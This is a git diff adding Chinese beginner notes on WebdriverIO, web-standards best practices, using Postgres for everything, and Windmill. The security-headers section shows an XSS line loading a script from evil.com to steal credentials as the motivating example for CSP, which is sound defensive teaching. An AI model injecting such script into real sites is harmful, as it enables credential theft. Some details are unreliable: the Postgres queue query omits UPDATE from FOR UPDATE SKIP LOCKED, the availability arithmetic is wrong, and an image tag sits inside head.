+项目地址：[webdriverio/webdriverio](https://github.com/webdriverio/webdriverio)，GitHub 约 9.5k+ Stars（2026 年中），MIT 开源。官方文档：[webdriver.io](https://webdriver.io/)。
+
+---
+
+## 解决什么问题
+
+### 痛点 1：手工回归测试不可扩展
+
+每次发版都要人工点一遍登录、下单、支付——慢、易漏、难并行。浏览器自动化把「重复的用户操作」变成可 CI 运行的脚本，PR 合并前就能发现回归。
+
+### 痛点 2：原生 WebDriver 绑定太底层
+
+直接用 `webdriver` 包写测试，你要自己管 session、拼 HTTP 请求、处理重试和超时。WDIO 封装了 **命令链、隐式等待、重试策略**，并集成 Mocha/Jasmine/Cucumber 等测试框架。
+
+### 痛点 3：Web 与移动端测试栈分裂
+
+很多团队 Web 用 Selenium，App 用 Appium，两套配置、两套报告。WDIO **同一套 API** 覆盖 WebDriver + Appium，配合 `@wdio/appium-service` 可在本地或 Sauce Labs、BrowserStack 等云端统一运行。
+
+### 痛点 4：现代前端 DOM 越来越复杂
+
+Shadow DOM、React 组件树、动态 hydration 让 brittle 的 CSS 选择器频繁失效。WDIO v9 起自动穿透 Shadow DOM；还提供 `react$`/`react$$` 按组件名查询，以及 `aria/` 无障碍选择器，更贴近用户真实交互方式。
+
+---
+
+## 核心概念
+
+### 1. WebDriver 协议 — 测试脚本与浏览器之间的「通用语言」
+
+**WebDriver** 是 W3C 标准：定义一套与语言无关的 HTTP 命令，让进程外的程序远程控制浏览器——导航、点击、读元素状态等。流程如下：
+
+```text
+测试脚本 (Node.js)
+    ↓  WDIO 封装
+WebDriver 客户端 (webdriver 包)
+    ↓  HTTP
+浏览器驱动 (ChromeDriver / GeckoDriver / …)
+    ↓
+真实浏览器 (Chrome / Firefox / Edge / Safari)
+```
+
+WDIO v8.14+ 起可**自动下载并管理**浏览器与驱动二进制，多数场景无需手动装 ChromeDriver。此外 WDIO 还支持 **WebDriver BiDi**（双向协议，Chrome/Firefox 持续落地），便于监听网络、控制台等事件；以及 **Chrome DevTools Protocol** 集成（如 `@wdio/lighthouse-service` 做性能与 PWA 审计）。
+
+与 JSON Wire Protocol 时代不同，现代 WDIO 默认走 W3C WebDriver，跨浏览器行为更一致。
+
+### 2. Selector — `$` / `$$` 与元素定位策略
+
+WDIO 用 `$` 查单个元素、`$$` 查多个（语法灵感来自 jQuery，但实现基于 WebDriver，无关 Sizzle）。
+
+| 写法 | 含义 | 推荐度 |
+| --- | --- | --- |
+| `$('button=Submit')` | 按可见文本 | ✅ 首选，贴近用户 |
+| `$('aria/Submit')` | 按无障碍名称 | ✅ 稳健 |
+| `$('[data-testid="submit"]')` | 测试专用属性 | ✅ 常用 |
+| `$('#main')` / `$('.btn-large')` | id / class | ⚠️ 易随样式变动 |
+| `$('button')` | 标签名 alone | 🚨 太泛 |
+
+**链式选择（Chain Selectors）**：从父元素逐级缩小范围，避免超长 CSS：
+
+```js
+// 在第二个商品条目里点「加入购物车」
+await $('.row .entry:nth-child(2)').$('button*=Add').click()
+```
+
+v9 起 Shadow DOM 无需 `>>>` 深选择器，普通 `$()` 即可穿透。React 项目可用 `browser.react$('MyComponent', { props: { name: 'WebdriverIO' } })` 按组件名与 props 过滤。
+
+### 3. Command 链 — async/await 与自动等待
+
+几乎所有 WDIO 命令都是 **异步** 的。框架内置 **隐式等待**：在超时前反复轮询元素是否出现、可点击，减少手写 `sleep`。
+
+典型调用链：
+
+```text
+browser.url() → $('selector') → element.click() / setValue() → browser.getTitle()
+```
+
+`$` / `$$` 之间可以链式调用而中间不必每步 `await`（内部会串起 Promise），例如：
+
+```js
+const src = await $$('div')[1].nextElement().$$('img')[2].getAttribute('src')
+```
+
+**Standalone 模式**（脚本里直接用 `webdriverio` 包）与 **Testrunner 模式**（`@wdio/cli` + `wdio.conf.js`）共用同一套 element API；后者额外提供并行实例、Reporter、Service 插件。
+
+---
+
+## 快速上手
+
+### 环境要求
+
+- **Node.js** ≥ 18.20（LTS）
+- 推荐用 `npm init wdio@latest ./` 向导生成配置（默认 Mocha + Chrome + Page Object 可选）
+
+### 示例 1：Standalone — 打开 Google 搜索（官方最小示例）
+
+不搭完整 test runner，直接在 Node 脚本里驱动浏览器：
+
+```js
+import { remote } from 'webdriverio'
+
+const browser = await remote({
+    capabilities: { browserName: 'chrome' }
+})
+
+await browser.navigateTo('https://www.google.com/ncr')
+
+const searchInput = await browser.$('#APjFqb') // 选择器随 Google DOM 可能变化
+await searchInput.setValue('WebdriverIO')
+
+const searchBtn = await browser.$('input[name="btnK"]')
+await searchBtn.click()
+
+console.log(await browser.getTitle()) // 例如 "WebdriverIO - Google 搜索"
+
+await browser.deleteSession()
+```
+
+要点：`remote()` 创建 session；`$` 返回 Element；`setValue` / `click` 走 WebDriver；结束时 `deleteSession()` 释放浏览器。
+
+### 示例 2：Testrunner + Mocha — 登录流 E2E
+
+`wdio.conf.js`（节选）：
+
+```js
+export const config = {
+    runner: 'local',
+    specs: ['./test/specs/**/*.js'],
+    capabilities: [{
+        browserName: 'chrome',
+        'goog:chromeOptions': { args: ['--headless=new'] }
+    }],
+    baseUrl: 'https://the-internet.herokuapp.com',
+    framework: 'mocha',
+    reporters: ['spec'],
+    mochaOpts: { ui: 'bdd', timeout: 60000 }
+}
+```
+
+`test/specs/login.e2e.js`：
+
+```js
+describe('The Internet — 登录页', () => {
+    it('应能用有效凭证登录并看到成功提示', async () => {
+        await browser.url('/login')
+
+        await $('#username').setValue('tomsmith')
+        await $('#password').setValue('SuperSecretPassword!')
+        await $('button[type="submit"]').click()
+
+        await expect($('#flash')).toHaveText(expect.stringContaining('You logged into'))
+    })
+
+    it('错误密码应显示失败信息', async () => {
+        await browser.url('/login')
+        await $('#username').setValue('tomsmith')
+        await $('#password').setValue('wrong')
+        await $('button[type="submit"]').click()
+
+        await expect($('#flash')).toHaveText(expect.stringContaining('Your password is invalid'))
+    })
+})
+```
+
+运行：
+
+```bash
+npx wdio run ./wdio.conf.js
+npx wdio run ./wdio.conf.js --spec test/specs/login.e2e.js
+```
+
+WDIO v8+ 内置 **`expect-webdriverio`** 断言库，与 Jest 风格类似，`toHaveText`、`toBeDisplayed` 等都会自动等待。
+
+### 示例 3：Page Object 模式（结构示意）
+
+```js
+// pageobjects/LoginPage.js
+class LoginPage {
+    get username() { return $('#username') }
+    get password() { return $('#password') }
+    get submit()   { return $('button[type="submit"]') }
+
+    async open() {
+        await browser.url('/login')
+    }
+
+    async login(user, pass) {
+        await this.username.setValue(user)
+        await this.password.setValue(pass)
+        await this.submit.click()
+    }
+}
+export default new LoginPage()
+```
+
+Page Object 把选择器与操作收拢到一处，UI 改版时只改一个文件——大型套件里的常见实践。
+
+---
+
+## 生态与扩展
+
+| 模块 | 作用 |
+| --- | --- |
+| `@wdio/cli` | 配置向导、`wdio run` 入口 |
+| `@wdio/local-runner` | 本机并行跑用例 |
+| `@wdio/browser-runner` | 浏览器内跑组件/单元测试 |
+| `@wdio/appium-service` | 自动启停 Appium |
+| `@wdio/lighthouse-service` | 性能指标、PWA 检查 |
+| `@wdio/allure-reporter` | Allure 报告 |
+| `create-wdio` / `npm init wdio` | 一键脚手架 |
+
+**Multiremote**：同一脚本里同时控多个浏览器/session（例如测聊天两端）。**Services** 在 lifecycle 钩子里注入能力（截图、Mock、云厂商隧道）。
+
+---
+
+## 与 Playwright、Selenium 对比
+
+| 维度 | WebdriverIO | Playwright | Selenium（各语言绑定） |
+| --- | --- | --- | --- |
+| **语言** | 以 Node.js/TypeScript 为主 | Node/Python/Java/C# | Java、Python、C#、JS 等 |
+| **协议** | WebDriver + BiDi + 可选 CDP | 主要自有 CDP 连接，也支持 WebDriver | 标准 WebDriver |
+| **架构** | 测试 runner + 插件；可 standalone | 库 + Test Runner / 框架集成 | 库；需自己拼 runner/报告 |
+| **自动等待** | 内置 element 等待 | 内置 auto-waiting | 需显式 WebDriverWait 或封装 |
+| **移动端** | 通过 Appium 同一套 API | 实验性/有限 | Appium + Selenium 客户端 |
+| **浏览器安装** | v8.14+ 可自动管理 driver/浏览器 | `npx playwright install` 一体 | 通常手动或 WebDriverManager |
+| **并行** | `maxInstances` + 云 Grid | 原生 worker 并行 | Grid 或第三方 |
+| **学习曲线** | 熟悉 JS 即可；配置项较多 | API 现代、文档清晰；偏 E2E | 概念标准但样板代码多 |
+| **适用场景** | JS 全栈团队、Web+App 统一栈、需 WebDriver 标准与云厂商兼容 | 新项目 E2E、多 Tab/网络拦截、快速迭代 | 企业已有 Selenium 资产、多语言 QA |
+
+**怎么选（实用建议）**：
+
+- 团队已是 **JavaScript/TypeScript**，且要在 **BrowserStack/Sauce** 上跑 WebDriver——WDIO 很合适。
+- **从零开始**、重视调试体验、网络/mock、Trace Viewer——[[playwright]] 往往更快上手。
+- 已有大量 **Java + Selenium** 页面对象——继续 Selenium 或逐步迁移到 WDIO/Playwright，取决于是否愿意统一到 Node 栈。
+
+WDIO 与 Selenium 并非对立：WDIO 底层用的就是 `webdriver` npm 包实现 W3C 协议，可以理解为 **「Selenium 协议的 Node 超集 + 测试基础设施」**。
+
+---
+
+## 常见问题
+
+### 元素找不到 / stale element
+
+优先换 `$('button=文案')` 或 `data-testid`；检查是否在 iframe 或需切换 window handle。Stale 多因 DOM 重渲染——重新 `$()` 定位，或缩短操作链。
+
+### 本地 Chrome 版本与 driver 不匹配
+
+升级 WDIO 到 ≥ 8.14，让框架自动拉取匹配 driver；或显式设置 `browserVersion`。
+
+### 测试 flaky
+
+避免 `browser.pause()`；用 `waitUntil` 或 `expect(...).toBeDisplayed()`；CI 用 headless 时加 `--window-size=1920,1080` 稳定布局。
+
+### TypeScript
+
+官方一等支持：向导可选 TS，配合 `@wdio/globals` 获得 `browser`/`$` 类型。
+
+---
+
+## 学习路径建议
+
+1. **Day 1**：`npm init wdio@latest`，跑通 spec + `--spec` 单文件。
+2. **Day 2**：练 `$` / `$$`、链式选择、text/aria 选择器；读 [Selectors 文档](https://webdriver.io/docs/selectors/)。
+3. **Day 3**：Page Object + `expect-webdriverio`；接一个 Reporter（spec → allure）。
+4. **Day 4**：CI 里 headless 跑；了解 `@wdio/selenium-standalone-service` 或云 capability。
+5. **延伸**：Appium 移动端、`@wdio/browser-runner` 组件测试、Lighthouse 性能门禁。
+
+---
+
+## 小结
+
+WebdriverIO 把 **W3C WebDriver** 这层「遥控协议」包装成 **Node 开发者熟悉的 async API 与测试 runner**：`$` 定位元素，命令链驱动浏览器，插件连接报告/云/Appium/性能审计。它解决的是 **可重复、可并行、可进 CI 的浏览器（及移动端）自动化**——让你像遥控玩具车一样操控真实浏览器，而不是每次发版都用手「推轮子」做回归。
+
+**官方资源**：
+
+- 文档：[Getting Started](https://webdriver.io/docs/gettingstarted/)
+- 协议说明：[Automation Protocols](https://webdriver.io/docs/automationProtocols/)
+- 仓库：[github.com/webdriverio/webdriverio](https://github.com/webdriverio/webdriverio)
diff --git a/src/content/docs/projects/webpack.md b/src/content/docs/projects/webpack.md
index 84a76508e..f7d6a02c3 100644
--- a/src/content/docs/projects/webpack.md
+++ b/src/content/docs/projects/webpack.md
@@ -187,6 +187,7 @@ webpack 没"死"——npm 周下载量截至 2026 初仍 30M+，超过所有替
 - [[docusaurus]] —— Docusaurus — 一组 plugin 协作出来的文档站框架
 - [[electron-builder]] —— electron-builder — 一条命令把 Electron 应用打包发布到全平台
 - [[esbuild]] —— esbuild — 用 Go 写的极速 JS bundler
+- [[glslify]] —— glslify — Browserify 风格 GLSL 模块
 - [[hardhat]] —— Hardhat — Nomic Foundation 的 JS 合约框架
 - [[lighthouse]] —— Lighthouse — Google 出品的网页质量审计工具
 - [[listr2]] —— listr2 — 把 CLI 任务跑成一棵会自己画进度的树
diff --git a/src/content/docs/projects/website-specification.md b/src/content/docs/projects/website-specification.md
new file mode 100644
index 000000000..6f4215448
--- /dev/null
+++ b/src/content/docs/projects/website-specification.md
@@ -0,0 +1,263 @@
+---
+title: The Website Specification — 零基础学习笔记
+source: https://specification.website/
+date: 2026-06-13
+category: Web 开发
+subcategory: 网站标准与最佳实践
+provenance: pipeline-v3
+分类: 其他
+子分类: 工程文化
+---
+
+# The Website Specification — 零基础学习笔记
+
+## 一、它是什么：从"菜谱"说起
+
+想象你要学做一道菜。有两种学习方式：
+
+1. **看别人做的视频**——每一步照着做，但不知道为什么要这样做。
+2. **看菜谱**——告诉你这道菜"应该"包含什么：火候、调料、摆盘标准。
+
+**The Website Specification**（网站规范）就是互联网网站的"菜谱"。它不是编程教程，而是一份清单：一个**好的网站**「应该」具备哪些技术特征。
+
+它由开发者 Jeroen de Valk 发起，在 GitHub 上公开维护，采用 MIT 许可。内容覆盖了从最基础的 HTML 标签，到安全头、性能优化、无障碍访问、SEO、隐私保护等十几个大类，每个类别下又分了多条具体规范。
+
+> 核心理念：**不管你在用什么框架（React、Vue、WordPress、手工 HTML），这份规范都适用。** 它是平台无关的。
+
+## 二、整体结构
+
+规范按主题分成以下几个大板块，每板块包含若干条具体规则：
+
+| 板块 | 管什么 |
+|------|--------|
+| Foundations（基础） | HTML 文档的基本骨架：DOCTYPE、语言声明、字符编码、标题等 |
+| SEO（搜索引擎优化） | 让搜索引擎找到并正确理解你的网站 |
+| Accessibility（无障碍） | 让残障人士也能使用你的网站 |
+| Security（安全） | HTTPS、安全头、防攻击策略 |
+| Well-Known URIs | 标准路径（如 /.well-known/）的用途 |
+| Agent Readiness（AI 智能体就绪） | 让 AI 爬虫和语言模型能理解你的网站 |
+| Performance（性能） | 加载速度、图片优化、缓存策略 |
+| Privacy（隐私） | Cookie、用户数据保护 |
+| Resilience（容错） | 错误页面、离线支持、降级策略 |
+| Internationalisation（国际化） | 多语言、多地区支持 |
+
+下面挑几个最核心、最容易上手的板块深入学习。
+
+## 三、核心概念 1：HTML 文档的"三件套"
+
+每一条网页的第一行，都必须严格遵循三个东西。少了任何一个，都可能出问题。
+
+### 3.1 第一行：DOCTYPE
+
+```html
+<!doctype html>
+```
+
+这行告诉浏览器："请用现代标准模式来解析我"。如果删掉它，浏览器会退回到"怪异模式"（quirks mode）——那是 1990 年代老浏览器的兼容层，会导致 CSS 布局全部错位。
+
+### 3.2 第二行：语言声明
+
+```html
+<html lang="zh-Hans">
+```
+
+`lang` 属性告诉屏幕阅读器、搜索引擎和浏览器：这页内容是什么语言。少了它，盲人用的屏幕阅读器会用错误的发音引擎朗读你的内容。
+
+### 3.3 第三行：字符编码
+
+```html
+<meta charset="utf-8" />
+```
+
+UTF-8 能表示全球所有文字（包括中文、emoji）。这个声明必须放在 `<head>` 的最前面，否则浏览器可能在读到中文之前就猜错编码，导致乱码。
+
+**三条组合在一起的完整示例：**
+
+```html
+<!doctype html>
+<html lang="zh-Hans">
+  <head>
+    <meta charset="utf-8" />
+    <title>我的第一个网页</title>
+  </head>
+  <body>
+    <h1>你好，世界！</h1>
+  </body>
+</html>
+```
+
+## 四、核心概念 2：安全头（Security Headers）
+
+安全头是服务器发给浏览器的"指令"，告诉浏览器哪些事情不允许做。
+
+### 4.1 Content Security Policy（CSP）——最重要的安全头
+
+CSP 告诉浏览器："只允许加载来自这些地方的脚本和图片"。它能阻止绝大多数 XSS（跨站脚本）攻击。
+
+**没有 CSP 时的危险场景：**
+
+假设攻击者在你的网页上注入了一行代码：
+
+```html
+<script src="https://evil.com/steal-data.js"></script>
+```
+
+浏览器会无条件执行这个来自陌生域名的脚本，把用户的登录凭据偷走。
+
+**加上 CSP 后的保护：**
+
+```html
+<!-- 服务器返回的 HTTP 头 -->
+Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com
+```
+
+这行头的意思是："只允许加载我自己域名（self）的资源；脚本只允许加载我自己和 cdn.trusted.com 的。" 上面那个 `evil.com` 的脚本就会被浏览器拦截，不会执行。
+
+**HTML 页面中也可以声明 CSP：**
+
+```html
+<head>
+  <meta http-equiv="Content-Security-Policy"
+        content="default-src 'self'; script-src 'self' https://cdn.trusted.com">
+</head>
+```
+
+### 4.2 其他常用安全头
+
+```http
+# 防止浏览器"猜"内容类型（防攻击者把一个图片伪装成脚本）
+X-Content-Type-Options: nosniff
+
+# 防止别人把你的网页嵌进 iframe（防点击劫持）
+Content-Security-Policy: frame-ancestors 'none'
+
+# 告诉浏览器只通过 HTTPS 访问你的网站（有效期 1 年）
+Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
+
+# 控制 referer 信息泄露程度
+Referrer-Policy: strict-origin-when-cross-origin
+```
+
+## 五、核心概念 3：无障碍（Accessibility，简称 a11y）
+
+无障碍意味着：**任何人**，无论视力、听力、运动能力如何，都能使用你的网站。
+
+### 5.1 最小可行示例：语义化 HTML + 图片 alt 文本
+
+```html
+<!doctype html>
+<html lang="zh-Hans">
+  <head>
+    <meta charset="utf-8" />
+    <title>无障碍示例页面</title>
+  </head>
+  <body>
+    <header>
+      <nav>
+        <a href="/">首页</a>
+        <a href="/about">关于我们</a>
+      </nav>
+    </header>
+
+    <main>
+      <!-- 图片必须有 alt 描述 -->
+      <img src="logo.png" alt="公司标志：一只展翅的鸟" />
+
+      <!-- 用按钮而不是 div（按钮天然支持键盘操作和屏幕阅读器） -->
+      <button type="button">提交表单</button>
+
+      <!-- 不要写"点击这里"，要说清楚链接要去哪 -->
+      <a href="/learn-more">阅读关于无障碍的更多信息</a>
+    </main>
+
+    <footer>
+      <p>© 2026 示例公司</p>
+    </footer>
+  </body>
+</html>
+```
+
+**关键要点：**
+
+- **`<img alt>`**：屏幕阅读器会朗读 alt 的内容。空 alt（`alt=""`）表示图片是装饰性的，不需要朗读。
+- **语义化标签**：`<header>`、`<nav>`、`<main>`、`<footer>` 让辅助技术能识别页面结构。
+- **原生按钮**：`<button>` 天然支持键盘 Tab 导航和屏幕阅读器，而 `<div onclick>` 什么都不是。
+- **链接文字要有意义**："点击这里"对屏幕阅读器用户是毫无信息的。
+
+## 六、核心概念 4：移动适配——viewport
+
+没有 viewport meta 标签，手机浏览器会假设你的网站是 980 像素宽的桌面版，然后把它缩小显示——文字小到看不见，按钮小到点不了。
+
+```html
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+```
+
+这**一行代码**就解决了 90% 的手机适配问题。
+
+- `width=device-width`：用手机的真实宽度作为排版宽度。
+- `initial-scale=1`：初始缩放比例为 1:1。
+
+**永远不要**加 `user-scalable=no`，这会阻止用户缩放文字，对低视力用户是灾难性的。
+
+## 七、核心概念 5：性能——Core Web Vitals
+
+Google 定义了三个核心性能指标，直接影响搜索排名和用户感受：
+
+| 指标 | 全称 | 含义 | 优秀标准 |
+|------|------|------|----------|
+| LCP | Largest Contentful Paint | 最大内容加载完成时间 | ≤ 2.5 秒 |
+| INP | Interaction to Next Paint | 用户点击后的响应速度 | ≤ 200 毫秒 |
+| CLS | Cumulative Layout Shift | 页面加载过程中的布局抖动 | ≤ 0.1 |
+
+**一个简单的性能优化组合示例：**
+
+```html
+<head>
+  <!-- 1. 声明字符编码和语言 -->
+  <meta charset="utf-8" />
+  <meta name="viewport" content="width=device-width, initial-scale=1" />
+
+  <!-- 2. 预加载关键资源 -->
+  <link rel="preload" href="/fonts/primary.woff2" as="font" type="font/woff2" crossorigin />
+
+  <!-- 3. 延迟加载非关键脚本 -->
+  <script src="/app.js" defer></script>
+
+  <!-- 4. 图片设置明确尺寸，避免布局抖动（CLS） -->
+  <img src="hero.jpg" alt="示例图片" width="800" height="400" loading="lazy" />
+</head>
+```
+
+**三条性能优化原则：**
+
+1. **`defer`**：让脚本在页面解析完后才执行，不阻塞渲染。
+2. **`loading="lazy"`**：非首屏图片延迟加载，减少初始请求量。
+3. **图片设置 `width` 和 `height`**：浏览器提前预留空间，避免加载时布局跳动（CLS）。
+
+## 八、核心概念 6：AI 智能体就绪（Agent Readiness）
+
+这是 2024 年以来新增的板块。随着 AI 聊天机器人和智能体开始"阅读"网页，网站需要让机器也看得懂。
+
+- **`/llms.txt`**：类似 `/sitemap.xml`，但给 AI 看的。放在网站根目录，列出你最重要的页面。
+- **结构化数据（JSON-LD）**：用机器可读的格式标注页面内容，Google 搜索和 AI 代理都用它。
+- **稳定的 URL**：一旦发布的链接就不要再改，否则 AI 引用的内容会失效。
+
+## 九、总结：一份"检查清单"
+
+如果你是初学者，不必一次掌握全部规范。按以下顺序逐步实施：
+
+1. **第一层（必做）**：DOCTYPE + lang + charset + viewport + title
+2. **第二层（安全）**：HTTPS + CSP + X-Content-Type-Options
+3. **第三层（性能）**：图片优化 + defer 脚本 + 明确的宽高
+4. **第四层（无障碍）**：语义化标签 + alt 文本 + 有意义的链接文字
+5. **第五层（SEO）**：meta description + canonical + sitemap
+6. **第六层（进阶）**：AI 智能体就绪 + 隐私合规 + 国际化
+
+The Website Specification 的特别之处不在于它"教"你写代码，而在于它告诉你：**写好一个网站，不只是功能能跑就行，它应该在安全、性能、无障碍、隐私等每个维度都达到一个基本标准。** 这份清单，就是那个标准的定义。
+
+## 十、参考资料
+
+- 官方网站：https://specification.website/
+- GitHub 源码：https://github.com/jdevalk/specification.website
+- MCP 服务：https://mcp.specification.website/mcp（AI 智能体可查询此规范）
+- Agent Skill：https://specification.website/.well-known/agent-skills/specification-website/SKILL.md
diff --git a/src/content/docs/projects/why-not-postgres-2026.md b/src/content/docs/projects/why-not-postgres-2026.md
new file mode 100644
index 000000000..7a20674ab
--- /dev/null
+++ b/src/content/docs/projects/why-not-postgres-2026.md
@@ -0,0 +1,170 @@
+---
+title: "Why Not Just Use Postgres? (2026) — 零基础学习笔记"
+来源: https://www.amazingcto.com/postgres-for-everything-2026/
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# Why Not Just Use Postgres? (2026) — 零基础学习笔记
+
+## 一、核心思想：用"工具箱"来理解
+
+想象你有一个巨大的瑞士军刀——它集成了螺丝刀、剪刀、开瓶器、指甲锉等等所有功能。
+
+你还需要单独买一把螺丝刀、一把剪刀、一个开瓶器吗？
+
+这篇文章的核心观点就是：**PostgreSQL 就像那把瑞士军刀**。它能同时扮演数据库、缓存、消息队列、搜索引擎等角色，让开发者不需要维护一堆不同的工具。
+
+## 二、现实问题：我们的工具箱太乱了
+
+很多公司在发展过程中，会慢慢引入越来越多专门化的工具：
+
+- **Redis** → 用来做缓存
+- **MongoDB** → 用来存文档数据
+- **Kafka** → 用来处理消息队列
+- **Elasticsearch** → 用来做全文搜索
+
+每个工具都需要：安装、配置、监控、备份、维护、排查故障……
+
+**开发者要学习的技术越多，犯错的可能性就越大。**
+
+文章用了一个数学例子：如果你有 5 个系统，每个的可用性都是 99.9%，那么全部加在一起的总可用性会掉到 99.7%。换句话说，**工具越多，出问题的概率越大**。
+
+## 三、PostgreSQL 能替代什么？（核心概念 + 代码示例）
+
+以下是文章中提到的主要替代方案：
+
+### 3.1 替代 Redis 缓存：UNLOGGED 表 + JSONB
+
+PostgreSQL 可以用 JSONB 类型存储数据，配合不记录日志的表（UNLOGGED TABLE），性能接近缓存。
+
+```sql
+-- 创建一个不记录日志的表（速度更快）
+CREATE UNLOGGED TABLE cache (
+    key TEXT PRIMARY KEY,
+    value JSONB,
+    expires_at TIMESTAMP
+);
+
+-- 插入一条带过期时间的缓存数据
+INSERT INTO cache (key, value, expires_at)
+VALUES ('user:1001', '{"name": "Jason", "age": 25}', NOW() + INTERVAL '1 hour');
+
+-- 查询并自动过滤过期的数据
+SELECT value FROM cache WHERE key = 'user:1001' AND expires_at > NOW();
+
+-- 清理已过期数据
+DELETE FROM cache WHERE expires_at < NOW();
+```
+
+**类比：** 这就像一个带标签的储物柜，标签上写着"这个柜子 1 小时后清空"。到了时间，自动清空，跟 Redis 的过期机制一样。
+
+### 3.2 替代消息队列（Kafka）：SKIP LOCKED
+
+PostgreSQL 9.5 引入了 `SELECT ... FOR SKIP LOCKED`，可以直接用它做消息队列。
+
+```sql
+-- 创建一个消息表
+CREATE TABLE message_queue (
+    id SERIAL PRIMARY KEY,
+    payload JSONB,
+    created_at TIMESTAMP DEFAULT NOW()
+);
+
+-- 插入消息
+INSERT INTO message_queue (payload) VALUES
+    ('{"type": "email", "to": "user@example.com"}'),
+    ('{"type": "sms", "to": "+123456789"}');
+
+-- 取出并"锁定"一条消息（其他进程不会重复取到同一条）
+SELECT id, payload FROM message_queue
+ORDER BY created_at ASC
+LIMIT 1
+FOR SKIP LOCKED;
+
+-- 处理完后删除
+DELETE FROM message_queue WHERE id = 1;
+```
+
+**类比：** 想象一个排队取号窗口。`SKIP LOCKED` 的意思是：如果有几个人同时在取号，A 取到 1 号并正在处理，B 来取号时就自动跳过 1 号，取到 2 号。不会两个人取到同一号。
+
+### 3.3 替代 MongoDB：JSONB + 索引
+
+PostgreSQL 的 JSONB 类型可以直接存储和查询 JSON 文档，还能创建索引。
+
+```sql
+-- 存储 JSON 文档
+CREATE TABLE documents (
+    id SERIAL PRIMARY KEY,
+    data JSONB
+);
+
+-- 创建 GIN 索引（让 JSON 查询变快）
+CREATE INDEX idx_documents ON documents USING GIN (data);
+
+-- 插入文档
+INSERT INTO documents (data) VALUES
+    ('{"title": "Hello Postgres", "tags": ["tutorial", "beginner"], "views": 100}');
+
+-- 按标签查询
+SELECT * FROM documents WHERE data @> '{"tags": ["beginner"]}';
+```
+
+### 3.4 其他替代方案速览
+
+| 原来用的工具 | PostgreSQL 方案 | 关键组件 |
+|---|---|---|
+| Elasticsearch | 全文搜索 | `tsvector` + 索引 |
+| 向量数据库 | 向量相似度搜索 | `pgvector` 扩展 |
+| 定时任务（Cron） | 内置定时 | `pg_cron` 扩展 |
+| 地理空间查询 | 位置搜索 | `PostGIS` 扩展 |
+| API 限流 | 计数器限流 | 原子更新 + 时间窗口 |
+| 分布式锁 | 进程间协调 |  advisory locks |
+| 审计日志 | 操作记录 | `pgaudit` 扩展 |
+| 测试用数据库 | 临时数据库 | 事务回滚 + 模板库 |
+
+## 四、类比理解：PostgreSQL = Linux 操作系统
+
+文章把 PostgreSQL 比作 **Linux 操作系统**：
+
+- Linux 并没有消灭所有 Unix 变体，但通过"模块机制"吸收了各个系统的优点
+- PostgreSQL 也在做同样的事：它吸收其他数据库的优秀功能，以统一的方式实现
+- 你不需要"消灭" MySQL 或 MongoDB，而是**先在一个数据库里试试能不能用**
+
+## 五、关键问题：FAQ 解读
+
+### Q1: 单点故障怎么办？
+
+A: 你有 5 个系统，每个都可能在某一刻坏掉。用 1 个系统代替 5 个，反而**减少了故障点**。
+
+### Q2: 性能不够怎么办？
+
+A: 文章提到 **Instagram 就是用 PostgreSQL 的**。他们的用户量远超你。等真的碰到性能瓶颈时再引入专用工具，而不是"觉得以后会用到"。
+
+### Q3: 这算不算技术债？
+
+A: 文章说这其实是**技术信用（technical credit）**——你现在投入的简单性，未来会回报你更多。真正的技术债是：6 种查询语言、4 套监控工具、3 种备份策略。
+
+## 六、总结：什么时候该用，什么时候不该用
+
+**适合用"只用 PostgreSQL"的场景：**
+
+- 创业公司 / 早期项目（用户量 < 100 万）
+- 团队小，维护不了多个数据库
+- 追求快速开发、快速迭代
+- 开发者希望专注业务逻辑而不是运维
+
+**可能不适合的场景：**
+
+- 已经确定要处理海量数据（数十亿条记录）
+- 需要流式处理（streaming）
+- 对读写延迟要求极低（微秒级别）
+
+**一句话总结：** 先让事情跑起来，等真的跑不动了再换工具，比一开始就造一辆赛车更聪明。
+
+## 七、思考题（请回答后再继续）
+
+1. 你现在的公司或项目里，用了几个数据库或缓存系统？
+2. 如果其中一个要换，你最担心什么？
diff --git a/src/content/docs/projects/windmill-platform.md b/src/content/docs/projects/windmill-platform.md
new file mode 100644
index 000000000..a516ee803
--- /dev/null
+++ b/src/content/docs/projects/windmill-platform.md
@@ -0,0 +1,194 @@
+---
+title: Windmill — 把脚本变成 API、工作流和 UI 的开发平台
+来源: https://github.com/windmill-labs/windmill
+日期: 2026-06-13
+分类: 基础设施
+子分类: DevOps 与运维
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Windmill 是一个**开源的开发者平台，让你用任意语言写脚本，它自动帮你生成 UI、排程、工作流编排和 API 路由**。
+
+日常类比：你手里有一堆 Bash / Python / TypeScript 脚本——有的查数据库，有的调外部 API，有的做数据处理。以前每加一个新脚本就得手动搭路由、写前端、设定时任务、处理错误重试。Windmill 的做法是：你把脚本写进去（或者从 GitHub 同步过来），它自动读参数生成一个可以点按钮跑的前端页面，还能把脚本串成工作流、挂上定时器和 Webhook。**你只写函数，UI 和调度它自动生成。**
+
+类比成厨房：脚本是切好的菜，Windmill 是自动化料理机——把菜丢进去，它自动安排"何时切、何时炒、何时装盘"，还给你一个按钮让你一键开火。
+
+它自称"Retool + Temporal 的开源平替"。Retool 偏内部工具低代码（闭源），Temporal 偏工作流持久化（偏重），Windmill 取中间路线——脚本先行、UI 自动生成、轻量级工作流编排，而且可以自托管。GitHub 上 16.8k Star，Rust 写的后端，Svelte 5 前端，社区版 AGPLv3 协议。
+
+## 为什么重要
+
+- **脚本到产品的最后一公里**：大量团队有"内部脚本"，但没人愿意为每个脚本手动搭前端和路由。Windmill 把脚本参数自动变成前端表单，省掉 80% 的"包装"工作
+- **多语言统一入口**：Python、TypeScript、Go、Bash、SQL、PowerShell、Rust、PHP 等全部跑在同一平台上，不同语言的脚本可以互相调用串成流
+- **自托管优先**：不像 Retool / Pipedream 主要做 SaaS 版本，Windmill 从第一天起就设计为 Docker / K8s 自部署，数据不出境，适合对数据敏感的团队
+- **性能强**：官方 Benchmark 对比 Airflow、Prefect、Temporal，在 40 个轻量任务和 10 个长任务场景下都最快，轻量作业端到端延迟约 100ms
+
+## 核心概念
+
+Windmill 的心智模型只有 **五个关键词**：
+
+1. **Script（脚本）**：最小的可执行单元。你写一个函数，它自动解析参数类型、生成 UI、提供执行环境。这是所有东西的原子——API、工作流、UI 都是脚本的组合
